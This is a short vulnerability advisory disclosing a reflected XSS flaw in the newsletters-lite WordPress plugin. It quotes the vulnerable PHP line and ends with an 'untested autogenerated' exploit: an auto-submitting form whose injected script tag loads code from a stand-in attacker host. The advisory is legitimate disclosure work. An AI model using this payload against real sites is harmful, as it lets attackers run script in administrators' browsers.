Advisory #: 1010
Title: Reflected XSS in wordpress plugin newsletters-lite v4.5.7
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/newsletters-lite
Downloads: 50748
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: newsletters-lite
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./newsletters-lite/views/admin/forms/field.php: 33: <a href="?page=<?php echo $this -> sections -> history; ?>&amp;method=delete&amp;id=<?php echo $_POST['ishistory']; ?>" onclick="if (!confirm('<?php _e('Are you sure you wish to remove this newsletter from your history?', $this -> plugin_name); ?>')) { return false; }" title="<?php _e('Remove this newsletter from your history', $this -> plugin_name); ?>" class="submitdelete deletion"><?php _e('Delete Email', $this -> plugin_name); ?></a> The variable ishistory appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./newsletters-lite/views/admin/forms/field.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/newsletters-lite/views/admin/forms/field.php method=post> <input type=hidden name=ishistory value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>